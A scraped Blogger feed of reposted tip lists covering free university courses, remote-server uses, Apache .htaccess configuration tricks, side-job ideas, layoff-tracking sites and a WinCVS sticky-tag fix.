education library. Go to college by taking free classes at <a href="http://ocw.mit.edu/OcwWeb/index.htm">MIT</a>. Go to <a href="http://webcast.berkeley.edu/courses/index.php">Berkeley</a> with your <a href="http://itunes.berkeley.edu/">iPod</a>.The <a href="http://onlinebooks.library.upenn.edu/">University of Pennsylvania</a> has an extensive online library; over 25,000 books are listed here.</p> <img alt="shelf.png" src="http://www.lifehacker.com/assets/resources/2006/09/shelf.png" class="postimg right" width="180" height="133" /> <p>Just debuted, you can take free courses from <a href="http://www.hewlett.org/Programs/Education/OER/openEdResources.htm">Yale</a> (funded by HP) on such diverse subjects as the Old Testament or Physics. Watch or read free online lectures in archival format from <a href="http://www.princeton.edu/WebMedia/lectures/">Princeton</a>. Get a free <a href="http://www.dartmouth.edu/%7Echance/teaching_aids/books_articles/probability_book/book.html">Introduction to Probability</a> text from Dartmouth.</p> <h4>Google tricks</h4> <p>Using the right keywords, find <a href="http://www.google.com/search?hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=site%3A.edu+history+course+syllabus&btnG=Search">course syllabi</a> (insert your own subject), <a href="http://www.google.com/search?hs=VjS&hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=site%3A.edu+lectures&btnG=Search">lectures</a>, <a href="http://www.google.com/search?hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=site%3A.edu++tutorial&btnG=Search">tutorials</a>, <a href="http://www.google.com/search?hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=site%3A.edu++notes&btnG=Search">notes</a>, <a href="http://www.google.com/search?hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=site%3A.edu++podcasts&btnG=Search">podcasts</a>, and various sorts of <a href="http://www.google.com/search?hl=en&lr=&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&q=site%3A.edu++book&btnG=Search">online books</a> using Google.</p>Unknownnoreply@blogger.com19tag:blogger.com,1999:blog-34767665.post-57148805551186087862009-01-04T00:44:00.002-08:002009-01-04T00:47:12.716-08:0010 remote server ideas and how to!Great 10 remote server list that you can put together from<a href="http://lifehacker.com/software/lifehacker-top-10/top-10-ways-to-put-your-remote-server-to-good-use-303421.php"> life hacker</a>!<br /><br />Quote:<br /> <div id="gallery0.18622326035529513"> <div id="AjaxImagePosts" class="gallery-thumb-wrapper"> <ul id="gallery-thumbs-list"><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2720872"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1443173250_e0e22045e8_o.png" alt="10. Back Up Your Data" title="10. Back Up Your Data" align="top" /> 10. Back Up Your Data</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719586"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1440582521_1992005be1_o.jpg" alt="9. Host a Personal Wiki (Blog or Photo Gallery)" title="9. Host a Personal Wiki (Blog or Photo Gallery)" align="top" /> 9. Host a Personal Wiki (Blog or Photo Gallery)</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719570"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1441423218_f2041dfad0_o.png" alt="8. Back Up Your Gmail (or Any POP3 Email)" title="8. Back Up Your Gmail (or Any POP3 Email)" align="top" /> 8. Back Up Your Gmail (Or Any POP3 Email)</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719578"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1441417244_95b4ee7894_o.jpg" alt="7. Sync Your Bookmarks (and Documents)" title="7. Sync Your Bookmarks (and Documents)" align="top" /> 7. Sync Your Bookmarks (and Documents)</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719453"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1441371204_813a5f2a70_o.png" alt="6. Mount a Remote Drive Locally" title="6. Mount a Remote Drive Locally" align="top" /> 6. Mount a Remote Drive Locally</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719445"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1441344710_4f0186c72f_o.png" alt="5. Run a Version Control System with Subversion" title="5. Run a Version Control System with Subversion" align="top" /> 5. Run a Version Control System with Subversion</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719331"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1441239912_831602eb6c_o.gif" alt="4. Build an Internet Jukebox with Jinzora" title="4. Build an Internet Jukebox with Jinzora" align="top" /> 4. Build an Internet Jukebox with Jinzora</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719310"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1440368279_f56c66cce4_o.png" alt="3. Set Up a Virtual Private Network with Hamachi" title="3. Set Up a Virtual Private Network with Hamachi" align="top" /> 3. Set Up a Virtual Private Network with Hamachi</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719302"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1441206228_c133f6b98a_o.png" alt="2. Remote Control BitTorrent Transfers" title="2. Remote Control BitTorrent Transfers" align="top" /> 2. Remote Control BitTorrent Transfers</a></li><li><a href="http://lifehacker.com/photogallery/Top-10-Remote-Server-Uses/2719294"><img src="http://lifehacker.com/assets/images/gallery/17/2007/09/thumb140x140_1440333745_6bb0c2b745_o.png" alt="1. Securely Proxy Your Web Browsing Traffic" title="1. Securely Proxy Your Web Browsing Traffic" align="top" /> 1. Securely Proxy Your Web Browsing Traffic</a></li></ul> </div> </div>Unknownnoreply@blogger.com17tag:blogger.com,1999:blog-34767665.post-25327724925101001452008-12-23T00:18:00.002-08:002008-12-23T00:21:23.412-08:00Great htaccess tip for web masters!These are one of the best tips and tricks involving .htaccess capabilities listed in <span style="font-size:85%;"><a href="http://www.thomsonchemmanoor.com/16-useful-htaccess-tricks-and-hacks-for-web-developers.html" rel="bookmark">16 Useful .htaccess Tricks and Hacks For Web Developers</a></span>! Check it out.<br /><br />Quote:<br /><p><strong>1. Creating a custom error page</strong> with .htaccess on a linux apache is a very simple task. Using you a text editor like notepad you create an .htaccess files. Custom error pages give your website an professional look and catch those visitors who reach your website following a back link.<br /><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">ErrorDocument 401 /error/401.php</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">ErrorDocument 403 /error/403.php</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">ErrorDocument 404 /error/404.php</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">ErrorDocument 500 /error/500.php</span><br /><br /><strong>2. How to set the timezone on your server</strong><br /><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnv TZ America/Houston</span></p> <p><strong>3. Block IPs Using htaccess</strong><br />Sometime you need to block certain IPs from accessing your entire site or directory. Its pretty simple task. All you have to do is inside the .htaccess file is put the following code.</p> <p><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">allow from all</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">deny from 145.186.14.122</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">deny from 124.15</span></p> <p>If you use the whole IP or a part of the IP to block and add the new ones in a new line.<br />When someone trying to access your site from the banned ip they will get a 403 error access forbidden message.</p> <p><strong>4. SEO Friendly 301 permanent redirects </strong>for bad/old links and moved links<strong><br /></strong><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">Redirect 301 /d/file.html http://www.htaccesselite.com/r/file.html</span></p> <p><strong>5. Set the Email Address for the Server Administrator </strong>- Using this code you can specifying the default email address for the server administrator.<br /><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">ServerSignature EMail</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnv SERVER_ADMIN default@domain.com</span><br /><br /><strong>6. Hotlinking protection with .htaccess</strong> is very important because anyone can hot link to your images and eat up all your bandwith of your server. The following code will help you to prevent that.</p> <p><span style="color: rgb(0, 0, 255);">Options +FollowSymlinks</span><br /><span style="color: rgb(0, 0, 255);"># Protect Hotlinking</span><br /><span style="color: rgb(0, 0, 255);">RewriteEngine On</span><br /><span style="color: rgb(0, 0, 255);">RewriteCond %{HTTP_REFERER} !^$</span><br /><span style="color: rgb(0, 0, 255);">RewriteCond %{HTTP_REFERER} !^http://(www\.)?domainname\.com/ [nc]</span><br /><span style="color: rgb(0, 0, 255);">RewriteRule .*\.(gif|jpg|png)$ http://domainname.com/img/hotlink_f_o.png [nc]</span></p> <p><strong>7. Block all requests from user agent</strong> - by creating a perfect .htaccess ban list, you can block all of unwanted user agents that will keep your server load down. Also Check out this interesting thread on webmaster world about the 228 user agents ban list.</p> <p><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">## .htaccess Code :: BEGIN</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">## Block Bad Bots by user-Agent </span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^FrontPage [NC,OR]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^Java.* [NC,OR]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^Microsoft.URL [NC,OR]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^MSFrontPage [NC,OR]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^Offline.Explorer [NC,OR]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^[Ww]eb[Bb]andit [NC,OR]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">SetEnvIfNoCase user-Agent ^Zeus [NC]</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);"><limit></span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">Order Allow,Deny</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">Allow from all</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">Deny from env=bad_bot</span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);"></limit></span><br /><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 255);">## .htaccess Code :: END </span><br /><strong><br />8. Redirect everyone to different site except few IP</strong> -If you want to redirect all the visitors to a different IP. Also give access to certain few IPs. You can use the code below</p> <p><span style="color: rgb(0, 0, 255);">ErrorDocument 403 http://www.youdomain.com</span><br /><span style="color: rgb(0, 0, 255);">Order deny,allow</span><br /><span style="color: rgb(0, 0, 255);">Deny from all</span><br /><span style="color: rgb(0, 0, 255);">Allow from 124.34.48.165</span><br /><span style="color: rgb(0, 0, 255);">Allow from 102.54.68.123</span></p> <p><strong>9. Don’t want to display download request</strong> - Usually when you try to download something from a web server you get a request asking whether you want to save the file or open it.<br />To avoid that you can use the below code on your .htaccess file.</p> <p><span style="color: rgb(0, 0, 255);">AddType application/octet-stream .pdf</span><br /><span style="color: rgb(0, 0, 255);">AddType application/octet-stream .zip</span><br /><span style="color: rgb(0, 0, 255);">AddType application/octet-stream .mov</span></p> <p><strong>10. Change the file type</strong> - Make any file be a certain kind of file type Makes image.jpg, index.html, default.cgi all act as php</p> <p><span style="color: rgb(0, 0, 255);"><files></span><br /><span style="color: rgb(0, 0, 255);">ForceType application/x-httpd-php</span><br /><span style="color: rgb(0, 0, 255);">SetHandler application/x-httpd-php</span><br /><span style="color: rgb(0, 0, 255);"></files> </span></p> <p><strong>11. Block access to your .htaccess file</strong> - By adding he following code to your htaccess file will prevent attempts to access your htaccess file. This extra layer of security protects your htaccess file by displaying a 403 error message on the browser.</p> <p><span style="color: rgb(0, 0, 255);"># secure htaccess file</span><br /><span style="color: rgb(0, 0, 255);"><files></span><br /><span style="color: rgb(0, 0, 255);"> order allow,deny</span><br /><span style="color: rgb(0, 0, 255);"> deny from all</span><br /><span style="color: rgb(0, 0, 255);"></files></span><br /><br /><strong>12. Protect access to certain specific file on your server </strong>- this can be done by adding the below mentioned code. For example you want to block with the file name default.jpg This will prevent the viewing of this file.</p> <p><span style="color: rgb(0, 0, 255);"># prevent access of a certain file</span><br /><span style="color: rgb(0, 0, 255);"><files></span><br /><span style="color: rgb(0, 0, 255);"> order allow,deny</span><br /><span style="color: rgb(0, 0, 255);"> deny from all</span><br /><span style="color: rgb(0, 0, 255);"></files></span><br /><br /><strong>13. Prevent access to unauthorized browsing</strong> - Protecting specific directory browsing can be done by intructing the server to serve a Forbidden and Authorization required message while anyone requests to view that particular directory. Usually if you site doesn’t have a default index page any files within that directory is accessible to the visitors. To avoid that use the following code in the .htaccess file.</p> <p><span style="color: rgb(0, 0, 255);"># disable directory browsing</span><br /><span style="color: rgb(0, 0, 255);">Options All -Indexes</span><br /><strong><br />14. Setting the default page</strong> - You can set the default page of a directory to any page you like. For example in this code the default page is set as about.html instead of index.html</p> <p><span style="color: rgb(0, 0, 255);"># serve alternate default index page</span><br /><span style="color: rgb(0, 0, 255);">DirectoryIndex about.html</span><br /><strong><br />15. Password protect your directories and files </strong>- You can create authentication for certain files and directories from being access. The code has examples of both password protection for a single file and password protection for a entire directory.</p> <p><span style="color: rgb(0, 0, 255);"># to protect a file</span><br /><span style="color: rgb(0, 0, 255);"><files></span><br /><span style="color: rgb(0, 0, 255);">AuthType Basic</span><br /><span style="color: rgb(0, 0, 255);">AuthName “Prompt”</span><br /><span style="color: rgb(0, 0, 255);">AuthUserFile /home/path/.htpasswd</span><br /><span style="color: rgb(0, 0, 255);">Require valid-user</span><br /><span style="color: rgb(0, 0, 255);"></files></span></p> <p><span style="color: rgb(0, 0, 255);"># password-protect a directory</span><br /><span style="color: rgb(0, 0, 255);">resides</span><br /><span style="color: rgb(0, 0, 255);">AuthType basic</span><br /><span style="color: rgb(0, 0, 255);">AuthName “This directory is protected”</span><br /><span style="color: rgb(0, 0, 255);">AuthUserFile /home/path/.htpasswd</span><br /><span style="color: rgb(0, 0, 255);">AuthGroupFile /dev/null</span><br /><span style="color: rgb(0, 0, 255);">Require valid-user</span><br /><strong><br />16. Redirect an old domain to a new domain</strong> - Using htaccess file you can redirect a old domain name to a new domain by adding the following code into the htaccess file. Basically what it does is it will remap the old domain to the new one.</p> <p><span style="color: rgb(0, 0, 255);"># redirect from old domain to new domain</span><br /><span style="color: rgb(0, 0, 255);">RewriteEngine On</span><br /><span style="color: rgb(0, 0, 255);">RewriteRule ^(.*)$ http://www.yourdomain.com/$1 [R=301,L]</span></p>Unknownnoreply@blogger.com66tag:blogger.com,1999:blog-34767665.post-78788730509350619212008-12-16T15:54:00.003-08:002008-12-16T15:56:41.033-08:00Side job that can be done to make extra cash moneyIn this economic downturn it is hard to make extra cash to get by. Here's the list from <a href="http://www.lifehack.org/articles/money/50-businesses-you-can-start-in-your-spare-time.html">lifehack.org</a> that might save you from current environment.<br /><br />Quote:<br /><ol><li><strong>Selling collectibles</strong> — From antique books to teddy bears, there are plenty of opportunities to buy and sell collectibles. It’s important to familiarize yourself with the collectible of your choice but if you choose something that you’ve been collecting for a while, you’ve got a head start.</li><li><strong>Locating apartment</strong>s — It can take time to sort through apartment listings, but you can make some money by finding the perfect apartment for a renter.</li><li><strong>Baby proofing</strong> — New parents often prefer to bring in an expert to make sure their home is safe for a new baby.</li><li><strong>Calligraphic writing</strong> — If you’ve got elegant handwriting, you can pick up gigs writing or addressing wedding invitations, holiday cards and more.</li><li><strong>Selling coupons</strong> — Search on eBay for coupons right now and you’ll see thousands of listings for coupons. It’s just a matter of clipping and listing what you find in your Sunday newspaper.</li><li><strong>Pet training</strong> — A surprising number of people don’t know where to start in training a pet. Even teaching Rover simple commands like ‘Sit’ and ‘Stay’ can bring in a few dollars.</li><li><strong>Running errands</strong> — A wide variety of people want to outsource their errands, from those folks who aren’t able to leave their homes easily to those who have a busy schedule.</li><li><strong>Researching family trees</strong> — Amateur genealogists often call in experts, especially to handle research that has to be done in person in a far off place. If you’re willing to go to a local church and copy a few records, you can handle many family tree research requests.</li><li><strong>Supplying firewood</strong> — The prerequisite for selling firewood is having a source of wood; if you’ve got some land where you can cut down a few trees, you’ve got a head start.</li><li><strong>Hauling</strong> — As more people trade in their SUVs for compact cars, hauling is becoming more important: people have to rent a truck or hire a hauler for even small loads.</li><li><strong>Image consulting</strong> — Image consultants provide a wide variety of services, ranging from offering advice on appearance to teaching etiquette.</li><li><strong>Menu planning</strong> — For many people, the trip up in eating home-cooked or healthy meals is knowing what to prepare. Meal planners set a schedule to solve certain dietary problems.</li><li><strong>Microfarming</strong> — Cultivating food and flowers on small plots of land allows you to sell produce easily.</li><li><strong>Offering notary public services</strong> — Notary publics can witness and authenticate documents: a service needed for all sorts of official documents.</li><li><strong>Teaching music</strong> — If you’re skilled with a musical instrument, you can earn money by offering lessons.</li><li><strong>Mystery shopping</strong> — Mystery shoppers check the conditions and service at a store and report back to the store’s higher-ups.</li><li><strong>Offering research services</strong> — Just by reading up on a topic and compiling a report on it can earn you money.</li><li><strong>Personal shopping</strong> — Personal shoppers typically select gifts, apparel and other products for clients, helping them save time.</li><li><strong>Pet breeding</strong> — Purebred pets can be quite value, especially if you can verify their pedigree.</li><li><strong>Removing snow</strong> — During the winter months, shoveling walks can still be a reliable way to earn money. You might be asked to take care of the driveway too.</li><li><strong>Utility auditing</strong> — As people become environmentally-concious, they want to know just how efficient their homes are. With some simple testing, you can tell them.</li><li><strong>Offering web hosting services</strong> — Providing server space can be lucrative, particularly if you can provide tech support to your clients.</li><li><strong>Cutting lawns</strong> — An old standby, cutting lawns and other landscaping services can provide a second income in the summer.</li><li><strong>Auctioning items on eBay</strong> — Want to get rid of all your old stuff? Stick it up on <a href="http://www.ebay.com/">eBay</a> and auction it off.</li><li><strong>Babysitting</strong> — Child care of all kinds, from babysitting to nannying, can offer constant opportunities.</li><li><strong>Freelance writing</strong> — If you’ve got the skills to write clearly, you can sell your pen for everything from blogs to advertising copy.</li><li><strong>Selling blog and website themes</strong> — Do a little designing on the side? Customers that don’t want to pay full price for a website will often pay for a template or theme.</li><li><strong>Offering computer help</strong> — Particularly with people new to computers, you can earn money by providing in-home computer help.</li><li><strong>Designing websites</strong> — It may require a little skilled effort, but designing websites remains a reliable source of income.</li><li><strong>Selling stock photography</strong> — For shutterbugs, an easy way to put a photography collection to work is to post it to a stock photography site.</li><li><strong>Freelance designing</strong> — Check with local businesses: you can provide brochures, business cards and other design work and get paid a good fee.</li><li><strong>Tutoring</strong> — Math and languages reamin the easiest subjects to find tutoring gigs for, but there is demand for other fields as well.</li><li><strong>Housesitting / petsitting</strong> — Stopping in to check on a house or pet can earn you some money, and maybe even a place to stay.</li><li><strong>Building niche websites</strong> — If you can put together a site on a very specific topic, you can put targeted ads on it and make money quickly.</li><li><strong>Translating</strong> — The variety of translating work available is huge: written word, on the spot and more is easy to find even on a part-time basis.</li><li><strong>Creating custom crafts</strong> — No matter what kind of crafts you make, there’s likely a market for it. <a href="http://www.etsy.com/">Etsy</a> remains one of the easiest places to sell crafts.</li><li><strong>Setting up a wi-fi hotspot</strong> — With a little bit of equipment, you can set up a wi-fi hotspot and charge your neighbors for the access they’ve been ‘borrowing.’</li><li><strong>Selling an e-book</strong> — You can write an e-book about almost anything and put it up for sale online.</li><li><strong>Affiliate marketing</strong> — If you’re willing to market other companies’ products, you can earn a cut of the sales.</li><li><strong>Renting out your spare room</strong> — From looking for a long-term roommate to listing your guest room on couch surfing sites, that spare room can make you money.</li><li><strong>Offering handy man services</strong> — Handling small household tasks can provide you with plenty of work, although you’ll probably be expected to have your own tools.</li><li><strong>Teaching an online class</strong> — Share your expertise through a website, an online seminar or variety of other methods.</li><li><strong>Building furniture</strong> — For those with the skill to create handmade furniture, selling their creations is often just a matter of advertising.</li><li><strong>Providing personal chef services</strong> — Personal chefs prepare meals ahead of time for customers, leaving their customers with a full freezer and no mess.</li><li><strong>Event planning</strong> — From planning corporate events to bar mitzvahs, an event planning business can require plenty of work and offer plenty of pay.</li><li><strong>Installing home safety products</strong> — Particularly as Baby Boomers age, people able to install handrails and other home safety products are in demand.</li><li><strong>Altering / tailoring</strong> — If your sewing skills are up to par, altering garments is coming back as people try to stretch more wear out of their clothing.</li><li><strong>Offering in-home beauty services</strong> — Hair cuts, makeup and other beauty services that can be performed at home have a growing demand.</li><li><strong>Business coaching</strong> — Helping others to establish and develop their businesses can provide many opportunities to earn money.</li><li><strong>Writing resumes</strong> — Writing resumes can provide a reliable income, especially if you can put a polish on a client’s credentials.</li></ol>Unknownnoreply@blogger.com21tag:blogger.com,1999:blog-34767665.post-87738326708636022402008-12-15T00:41:00.001-08:002008-12-15T00:43:05.532-08:00So many lay offs going on in current economic downturn. It you want to see which companies are getting affected every day, <a href="http://www.businesspundit.com/the-webs-top-10-layoff-sites/">BusinessPunit </a>has a great list of sites which keep them tracked.<br /><br />Quote:<br /><p><strong>1. <a href="http://www.itdied.com/">It Died</a>:</strong> Editor Glenn Fleishman describes this new hit as “keeping track of hosted services as they lay dying.” The blog does exactly that, potentially protecting people with precious goods in those services from rude discoveries. The commentary is also good.<br /><strong><br />2. <a href="http://www.fuckedstartups.com/">F*ckedStartups</a>:</strong> Reminiscent of the dot-com era’s fabled F*edCompany.com, this snarky blog covers rumors, insider tips, and companies MIA as well as standard layoffs. </p> <p><strong>3. <a href="http://blog.wired.com/business/2008/10/the-wiredcom-te.html?cid=136135845">The Wired.com Tech Layoff Tracker</a>: </strong>Real-time headlines, plus a comprehensive tally make this one of the Web’s best go-to resources.<br /><strong><br />4. <a href="http://www.techcrunch.com/tag/deadpool/">TechCrunch’s Deadpool </a>: </strong>This oldie-but-goodie covers key tech demises as well as product deaths, such as Google’s Lively.</p> <p><strong>4. <a href="http://twitter.com/themediaisdying">The Media is Dying</a> (Twitter feed):</strong> A self-explanatory, handy feed. </p> <p><strong>5. <a href="http://www.timelydemise.com/">Timely Demise</a>:</strong> This blog covers retailers, parts suppliers, and other terminally ill companies that sell tangible stuff.<br /><strong><br />6. <a href="http://layoffblog.wordpress.com/">Layoff Blog</a>: </strong>Useful, newsy, mainstream coverage.<br /><strong><br />7. <a href="http://www.screwdd.com/">Screwdd</a>:</strong> Very readable media headline and blog coverage. Lots of quoted material, aggregated into a one-stop shop. </p> <p><strong>8. Gawker.com’s new <a href="http://gawker.com/tag/layoff-daily/">Layoff Daily</a>:</strong> Another media death tracker. Will there be any media left after the layoffs are done?</p> <p><strong>9. ClickZ’s <a href="http://www.clickz.com/3631227">Digital Marketing Layoff Tracker</a>:</strong> This complete chart covers the digital ad-driven niche. Wait…isn’t that our niche?</p> <p><strong>10. <a href="http://layoffnews.blogspot.com/">Layoff News</a>:</strong> This blog has been covering major layoff headlines since October of this year. </p>Unknownnoreply@blogger.com17tag:blogger.com,1999:blog-34767665.post-134623161889073322008-12-11T14:17:00.003-08:002008-12-11T14:21:29.921-08:00WinCVS: How to remove sticky tagI keep on running into this problem. Whenever you submit the file into CVS and force a revision value, it always enforce revision value through sticky tag. The problem with sticky tag is that, when you try to remove the file from CVS, you first need to remove the sticky tag.<br /><br />How to do this is quite simple. In WinCVS, you first do update by "Update settings" where under tab "Update options" select "Reset and sticky tags/date/kopts". This will remove any existing sticky tags. Then you can "Modify" -> "Remove", then Commiting the file will remove the file from CVS.Unknownnoreply@blogger.com18